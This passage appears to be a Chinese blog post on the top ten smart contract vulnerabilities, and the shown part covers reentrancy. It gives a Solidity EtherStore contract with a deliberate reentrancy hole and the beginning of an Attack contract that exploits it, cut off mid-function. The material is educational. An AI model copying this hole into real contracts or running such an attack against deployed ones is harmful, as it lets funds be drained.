解密智能合约TOP10安全漏洞

最新推荐文章于 2025-10-14 10:49:12 发布

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最新推荐文章于 2025-10-14 10:49:12 发布 · 1.4w 阅读

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本文深入探讨了智能合约的十大安全漏洞，包括重入问题、变量覆盖、逻辑错误、鉴权问题、整数溢出等。通过实例展示了如何利用这些漏洞进行攻击，如著名的DAO攻击。此外，还提到了拒绝服务攻击、插队攻击、伪随机数问题和以太短地址攻击，强调了对智能合约安全性的重要性和潜在风险。

以下都是来自我的新作《解密EVM机制及合约安全漏洞》里的内容

重入问题

漏洞成立的条件：

<address>.call.value()的实现：

<address>.send()的实现：

<address>.transfer()的实现：

Transfer能在调用失败时候主动抛出异常的原理：

漏洞案例合约：

contract EtherStore {

uint256 public withdrawalLimit = 1 ether;

mapping(address => uint256) public lastWithdrawTime;

mapping(address => uint256) public balances;

function depositFunds() public payable {

balances[msg.sender] += msg.value;

}

function withdrawFunds (uint256 _weiToWithdraw) public {

require(balances[msg.sender] >= _weiToWithdraw);

// limit the withdrawal

require(_weiToWithdraw <= withdrawalLimit);

// limit the time allowed to withdraw

require(now >= lastWithdrawTime[msg.sender] + 1 weeks);

require(msg.sender.call.value(_weiToWithdraw)());

balances[msg.sender] -= _weiToWithdraw;

lastWithdrawTime[msg.sender] = now;

}

攻击合约：

import "EtherStore.sol";

contract Attack {

EtherStore public etherStore;

constructor(address _etherStoreAddress) {

etherStore = EtherStore(_etherStoreAddress);

}

function pwnEtherStore() public payable {

require(msg.value >= 1 ether);

etherStore.depositFunds.value(1 ether)();

etherStore.withdrawFunds(1 ether);

}

function collectEther() publi